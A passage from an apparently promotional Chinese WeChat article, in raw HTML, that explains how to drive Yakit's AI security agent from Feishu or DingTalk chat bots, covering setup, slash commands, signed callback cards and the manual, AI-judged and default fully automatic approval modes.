leaf="">（</span></span></span><span mpa-font-style="mrxbzliwr77" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><code><span style="font-size: 15px;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mrxbzq4g1043"><span leaf="">/help</span></span></span></code><span mpa-font-style="mrxbzq4g19f7" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><code><span style="font-size: 15px;" data-mpa-action-id="mrxbzt33d8q" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">/</span></span><span style="letter-spacing: 1px;color: rgb(253, 128, 9);font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" leaf="" mpa-font-style="mrxbzt2qh5q">new</span></span></code><code><span style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">/</span></span><span style="letter-spacing: 1px;color: rgb(253, 128, 9);font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mrxbzvghz35"><span leaf="">scan</span></span></span></code></span></span><span style="font-size: 15px;"><span style="letter-spacing: 1px;color: #fd8009;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mrxbzliw1gcz"><span leaf="" mpa-font-style="mrxbzq4g2zg" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">...</span><span leaf="">）</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">在本地直接处理，控制会话、模型、执行</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">普通文本</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">通过 gRPC 双向流喂给 AI Agent 执行，结果回发到 IM</span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">你不需要装任何 App，不需要开电脑——只要你的 Yakit 引擎在跑，你在飞书群里 @机器人 说一句「扫一下 10.0.0.1」，它就开始干活了。</span></span></p><p nodeleaf="" data-mpa-action-id="mrxbq49n21jc" data-pm-slice="0 0 []" style="margin-bottom: 8px;padding: 0.5em;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046374" data-ratio="0.6898355754857997" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" data-type="jpeg" data-w="2676" src="https://wechat2rss.xlab.app/img-proxy/?k=f109a8cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72GFHFTvlOdrIvPVHXvOwRu4ic2am8lCZNia8o7nYiazUBjZHukMO9paxibnnFPNayddHjpjL01KNONlBD6OGiaytRpPwlvJECSDfzZU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">二、怎么配起来？</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">远程控制功能，需要在登录后才能使用，登录完成后，可以看见用户头像右下角有一个 </span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">手机 的 icon</span><span textstyle="" style="letter-spacing: 1px;">，点击就可以打开 移动端控制 面板，首次进入会如下图。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrxble861mnz" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6167557932263814" data-type="png" data-w="1122" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1122" data-height="692" data-imgfileid="100046367" src="https://wechat2rss.xlab.app/img-proxy/?k=8001b8e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72H5pmz3YQLSGSDqmSMYlI9fK5dNs3avdBL6HWldiaIlDQ0LkR716mwktGkHFN9Kfb3g8ibu1nyzx1qD86ia7GGSPWCKNTRZ454M1c%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这里演示我们选择飞书，扫码授权。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrxblmna16ub" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6692737430167598" data-type="png" data-w="895" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="895" data-height="599" data-imgfileid="100046366" src="https://wechat2rss.xlab.app/img-proxy/?k=1c709f70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72Gp7shxicLicSibmYcP2wBBEWCPNb6JfxiavefUPq5aJmZaUuQwTXPOILhVNribjaPdU6JeUQCQUiaRCKHfNEGq8qQ8oL6LDrnrxOlok%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">手机侧，会弹出创建飞书智能体，点击立即创建，就可以绑定成功，此时 yakit 也会提醒绑定成功，机器人会给你私聊发一张「Yak Agent 已连接」欢迎卡片，告诉你当前模型、回复模式、审批策略。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrxblwgs1avw" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3707692307692308" data-type="png" data-w="650" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="650" data-height="241" data-imgfileid="100046365" src="https://wechat2rss.xlab.app/img-proxy/?k=b67ab9be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FHg7okAoibP8woCNqQFf390tro8yHf1jyYoPoicKkSLCkrNicIPzuIzCp9PhvK0X43X87jwQfemYAYOuY2QNbtPoRZDYibJA6mbK0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">配置完成后，可以在 Yakit 中启用/停用 机器人。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">三、使用：/命令 or 直接说话</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">首次使用时，可以发送</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;"> /help 命令，</span><span textstyle="" style="letter-spacing: 1px;">查看机器人的主要入口和一些基础信息。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrxbm43xpng" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8571428571428571" data-type="png" data-w="651" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="651" data-height="558" data-imgfileid="100046364" src="https://wechat2rss.xlab.app/img-proxy/?k=e521ada9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FF940giakxSJEdKJ3icqJcGIhhpNoAaBT4FkDpQS6859AtTdF62ebbudT8UKdrQbONXeUJVoofw4u96NCQYnzWXdf1bedutrSek%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">也可以直接发消息就行。所有非斜杠开头的消息都会原样喂给 AI Agent：</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrxbmbegh5x" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.7081413210445469" data-type="png" data-w="651" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="651" data-height="1112" data-imgfileid="100046369" src="https://wechat2rss.xlab.app/img-proxy/?k=1ef884aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HSt6X8sQDk1HvKTtL6xvgmTvoBMcacYPricNbSY11FhYXwsLrKMQZoH0wmqWhr1ugeam2bAcY4fQYhuXINY2UbxhQxEiauzU8Tw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">四、卡片交互：不只是文字</span></strong></p></div></div></div><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">4.1 运行卡片（Managed Card）</span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">每次 Agent 开始执行，机器人发一张「正在执行…」的卡片，带一个</span></span><strong style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">终止</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">按钮。执行过程中卡片内容实时更新（节流 ~500ms 一次 patch），执行完卡片变成最终结果，终止按钮消失。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">4.2 按钮带签名，防伪造</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">卡片按钮的回调带 HMAC 签名 token（</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mrxc0aanh8z" data-mpa-action-id="mrxc0ab4g8j" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">cb.v1.&lt;payload&gt;.&lt;sig&gt;</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">），防止有人伪造按钮事件攻击你的 Agent。验签时还校验 RunID / ChatID / Action 上下文匹配 + 过期时间 + nonce 防重放（停止按钮是一次性消费的）。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">4.3 钉钉怎么办？</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">钉钉的流失卡片需要二次配置，所以目前钉钉会自动降级为</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">文本模式</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——每段输出发一条文本消息，没有 patch，没有按钮。但斜杠命令、</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">/yes</span></span></code><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">/no</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 确认这些都能用。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrxbmqvnr8f" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="784" data-imgfileid="100046372" data-ratio="0.8166666666666667" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="960" data-width="960" src="https://wechat2rss.xlab.app/img-proxy/?k=b9c838ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GTVWtSb3xibl2IgtbcJkkoDS1t9PUMYZ0WaSwZOugXUYzGicwIuTvqHf0YO7QdIIv4ibSRkQpnaj6aC7TYGuNKsFFP3Az0ll46hw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">五、执行审批：敏感操作让你按一下</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">AI Agent 执行安全任务时，有些操作比较敏感（比如跑 exploit、写文件）。Yakit 提供三种审批策略：</span></span></p><table style="border: none;border-collapse: collapse;width: 500px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">策略</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">说明</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">manual（人工）</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">敏感动作暂停，等你在 IM 里 </span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">/yes</span></span></code><span leaf=""> 或点按钮确认</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">ai（协同 AI）</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">AI 自己判断风险，必要时转交人工</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">yolo（托管）-默认</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">全自动执行，不问人。仅 bot 所有者可开启</span></p></td></tr></tbody></table><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">可以在 Yakit 的 移动端控制面板中进行配置，默认使用 yolo 模式</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrxbn7d4ywe" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6124794745484401" data-type="png" data-w="609" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="609" data-height="373" data-imgfileid="100046371" src="https://wechat2rss.xlab.app/img-proxy/?k=7ab071e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EeSL8FXNO4rYibEvO3wVNcLOanAQ7T7oRx8AuG2pcdrHWPFmI5A9dv1V19wgWGjodOtI722EuDSYBPNysgW2WiaxS5cWuH1m61Y%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">manual 模式下，Agent 遇到敏感操作会发一张确认卡片：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">你点</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">「继续」</span><span textstyle="" style="letter-spacing: 1px;">或发 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">/yes</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，Agent 接着跑。点</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">「拒绝」</span><span textstyle="" style="letter-spacing: 1px;">或发 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft 